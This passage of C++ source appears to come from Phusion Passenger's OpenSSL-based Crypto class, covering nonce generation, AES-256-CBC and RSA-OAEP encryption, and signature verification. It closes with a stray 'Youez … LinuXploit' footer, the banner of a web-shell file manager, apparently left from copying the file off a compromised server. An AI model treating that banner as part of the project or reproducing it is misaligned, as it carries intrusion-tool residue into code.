}

void Crypto::logFreeErrorExtended(const StaticString &prefix, CFErrorRef &error) {
	if (error) {
		CFStringRef description = CFErrorCopyDescription((CFErrorRef) error);
		CFStringRef failureReason = CFErrorCopyFailureReason((CFErrorRef) error);
		CFStringRef recoverySuggestion = CFErrorCopyRecoverySuggestion((CFErrorRef) error);

		logError(prefix +
				": " + CFStringGetCStringPtr(description, kCFStringEncodingUTF8) +
				"; " + CFStringGetCStringPtr(failureReason, kCFStringEncodingUTF8) +
				"; " + CFStringGetCStringPtr(recoverySuggestion, kCFStringEncodingUTF8)
				);

		CFRelease(recoverySuggestion);
		CFRelease(failureReason);
		CFRelease(description);
		CFRelease(error);
		error = NULL;
	}
}

#else

Crypto::Crypto() {
	OpenSSL_add_all_algorithms();
}

Crypto::~Crypto() {
	EVP_cleanup();
}

bool Crypto::generateAndAppendNonce(string &nonce) {
	nonce.append(toString(SystemTime::getUsec()));

	int rndLen = 16;
	unsigned char rndChars[rndLen];

	if (1 != RAND_bytes(rndChars, rndLen)) {
		logErrorExtended("RAND_bytes failed for nonce");
		return false;
	}

	char rndChars64[modp_b64_encode_len(rndLen)];
	modp_b64_encode(rndChars64, (const char *) rndChars, rndLen);

	nonce.append(rndChars64);
	return true;
}

bool Crypto::encryptAES256(char *dataChars, size_t dataLen, AESEncResult &aesEnc) {
	assert(dataLen > 0 && dataChars != NULL);

	aesEnc.encrypted = NULL;
	aesEnc.key = NULL;
	aesEnc.iv = NULL;

	bool result = false;
	EVP_CIPHER_CTX *aesEncryptContext = NULL;

	do {
		// 1. Generate random key (secret) and init vector to be used for the encryption
		aesEnc.keyLen = AES_KEY_BYTESIZE;
		aesEnc.key = (unsigned char*) OPENSSL_malloc(aesEnc.keyLen);
		if (aesEnc.key == NULL) {
			logErrorExtended("OPENSSL_malloc failed");
			break;
		}

		aesEnc.ivLen = AES_CBC_IV_BYTESIZE;
		aesEnc.iv = (unsigned char*) malloc(aesEnc.ivLen); // not secret
		if (aesEnc.iv == NULL) {
			logError("malloc for IV failed");
			break;
		}

		if (1 != RAND_bytes(aesEnc.key, aesEnc.keyLen)) {
			logErrorExtended("RAND_bytes failed for AES key");
			break;
		}
		if (1 != RAND_bytes(aesEnc.iv, aesEnc.ivLen)) {
			logErrorExtended("RAND_bytes failed for IV");
			break;
		}

		// 2. Get ready to encrypt
		aesEncryptContext = EVP_CIPHER_CTX_new();
		if (aesEncryptContext == NULL) {
			logErrorExtended("EVP_CIPHER_CTX_new failed");
			break;
		}

		aesEnc.encrypted = (unsigned char*) malloc(dataLen + AES_BLOCK_SIZE); // not secret
		if (aesEnc.encrypted == NULL) {
			logError("malloc for encryptedChars failed " + toString(dataLen + AES_BLOCK_SIZE));
			break;
		}

		// 3. Let's go
		if (1 != EVP_EncryptInit_ex(aesEncryptContext, EVP_aes_256_cbc(), NULL, aesEnc.key, aesEnc.iv)) {
			logErrorExtended("EVP_EncryptInit_ex failed");
			break;
		}

		size_t blockLength = 0;
		size_t writeIdx = 0;
		if (1 != EVP_EncryptUpdate(aesEncryptContext, aesEnc.encrypted + writeIdx, (int *) &blockLength, (unsigned char*) dataChars, dataLen)) {
			logErrorExtended("EVP_EncryptUpdate failed");
			break;
		}
		writeIdx += blockLength;

		if (1 != EVP_EncryptFinal_ex(aesEncryptContext, aesEnc.encrypted + writeIdx, (int *) &blockLength)) {
			logErrorExtended("EVP_EncryptFinal_ex failed");
			break;
		}
		writeIdx += blockLength;
		aesEnc.encryptedLen = writeIdx;

		result = true;
	} while(0);

	if (!result) {
		// convenience: free the result if it's not valid anyway
		freeAESEncrypted(aesEnc);
	}

	if (aesEncryptContext != NULL) {
		EVP_CIPHER_CTX_free(aesEncryptContext);
	}

	return result;
}

void Crypto::freeAESEncrypted(AESEncResult &aesEnc) {
	if (aesEnc.encrypted != NULL) {
		free(aesEnc.encrypted);
		aesEnc.encrypted = NULL;
	}
	if (aesEnc.iv != NULL) {
		free(aesEnc.iv);
		aesEnc.iv = NULL;
	}

	// Secret parts were allocated differently
	if (aesEnc.key != NULL) {
		OPENSSL_free(aesEnc.key);
		aesEnc.key = NULL;
	}
}

bool Crypto::encryptRSA(unsigned char *dataChars, size_t dataLen,
		string encryptPubKeyPath, unsigned char **encryptedCharsPtr, size_t &encryptedLen) {
	RSA *rsaPubKey = NULL;
	EVP_PKEY *rsaPubKeyEVP = NULL;
	EVP_PKEY_CTX *ctx = NULL;
	bool result = false;

	do {
		// 1. Get the RSA public key to encrypt with
		rsaPubKey = loadPubKey(encryptPubKeyPath.c_str());
		if (rsaPubKey == NULL) {
			logError("Failed to load public key at " + encryptPubKeyPath);
			break;
		}

		rsaPubKeyEVP = EVP_PKEY_new();
		if (1 != EVP_PKEY_assign_RSA(rsaPubKeyEVP, rsaPubKey)) {
			logErrorExtended("EVP_PKEY_assign_RSA");
			freePubKey(rsaPubKey); // since it's not tied to EVP key yet
			break;
		}

		// 2. Prepare for encryption
		ctx = EVP_PKEY_CTX_new(rsaPubKeyEVP, NULL);
		if (ctx == NULL) {
			logErrorExtended("EVP_PKEY_CTX_new");
			break;
		}
		if (1 != EVP_PKEY_encrypt_init(ctx)) {
			logErrorExtended("EVP_PKEY_encrypt_init");
			break;
		}
		if (1 != EVP_PKEY_CTX_set_rsa_padding(ctx, RSA_PKCS1_OAEP_PADDING)) {
			logErrorExtended("EVP_PKEY_CTX_set_rsa_padding");
			break;
		}

		// 3. First encrypt to get encryptedLen
		if (1 != EVP_PKEY_encrypt(ctx, NULL, &encryptedLen, (unsigned char *) dataChars, dataLen)) {
			logErrorExtended("EVP_PKEY_encrypt (first)");
			break;
		}

		*encryptedCharsPtr = (unsigned char *) malloc(encryptedLen); // not secret
		if (*encryptedCharsPtr == NULL) {
			logError("malloc for encryptedChars failed" + toString(encryptedLen));
			break;
		}

		if (1 != EVP_PKEY_encrypt(ctx, (unsigned char *) *encryptedCharsPtr, &encryptedLen,
				(unsigned char *) dataChars, AES_KEY_BYTESIZE)) {
			logErrorExtended("EVP_PKEY_encrypt (second)");
			break;
		}

		result = true;
	} while (0);

	if (ctx != NULL) {
		EVP_PKEY_CTX_free(ctx);
	}
	if (rsaPubKeyEVP != NULL) {
		EVP_PKEY_free(rsaPubKeyEVP); // also frees the rsaPubKey
	}

	return result;
}

bool Crypto::verifySignature(string signaturePubKeyPath, char *signatureChars, int signatureLen, string data) {
	RSA *rsaPubKey = NULL;
	EVP_PKEY *rsaPubKeyEVP = NULL;
	EVP_MD_CTX *mdctx = NULL;
	bool result = false;

	do {
		rsaPubKey = loadPubKey(signaturePubKeyPath.c_str());
		if (rsaPubKey == NULL) {
			logError("Failed to load public key at " + signaturePubKeyPath);
			break;
		}

		rsaPubKeyEVP = EVP_PKEY_new();
		if (!EVP_PKEY_assign_RSA(rsaPubKeyEVP, rsaPubKey)) {
			freePubKey(rsaPubKey);
			logErrorExtended("EVP_PKEY_assign_RSA");
			break;
		}

		if (!(mdctx = EVP_MD_CTX_create())) {
			logErrorExtended("EVP_MD_CTX_create");
			break;
		}

		if (1 != EVP_DigestVerifyInit(mdctx, NULL, EVP_sha256(), NULL, rsaPubKeyEVP)) {
			logErrorExtended("EVP_DigestVerifyInit");
			break;
		}

		if (1 != EVP_DigestVerifyUpdate(mdctx, data.c_str(), data.length())) {
			logErrorExtended("EVP_DigestVerifyUpdate");
			break;
		}

		if (1 != EVP_DigestVerifyFinal(mdctx, (unsigned char *) signatureChars, signatureLen)) {
			logErrorExtended("EVP_DigestVerifyFinal");
			break;
		}

		result = true;
	} while(0);

	if (mdctx) {
		EVP_MD_CTX_destroy(mdctx);
	}

	if (rsaPubKeyEVP) {
		EVP_PKEY_free(rsaPubKeyEVP);
		// freePubKey not needed, already free by EVP_PKEY_free.
	}

	return result;
}

PUBKEY_TYPE Crypto::loadPubKey(const char *filename) {
	FILE *fp = fopen(filename, "rb");
	if (fp == NULL) {
		return NULL;
	}

	RSA *rsa = RSA_new();
	rsa = PEM_read_RSA_PUBKEY(fp, &rsa, NULL, NULL);
	fclose(fp);
	return rsa;
}

void Crypto::freePubKey(PUBKEY_TYPE pubKey) {
	if (pubKey) {
		RSA_free(pubKey);
	}
}

void Crypto::logErrorExtended(const StaticString &prefix) {
	char err[500];
	ERR_load_crypto_strings();
	ERR_error_string(ERR_get_error(), err);
	P_ERROR(prefix << ": " << err);
	ERR_free_strings();
}

#endif

void Crypto::logError(const StaticString &error) {
	P_ERROR(error);
}

} // namespace Passenger

Youez - 2016 - github.com/yon3zu
LinuXploit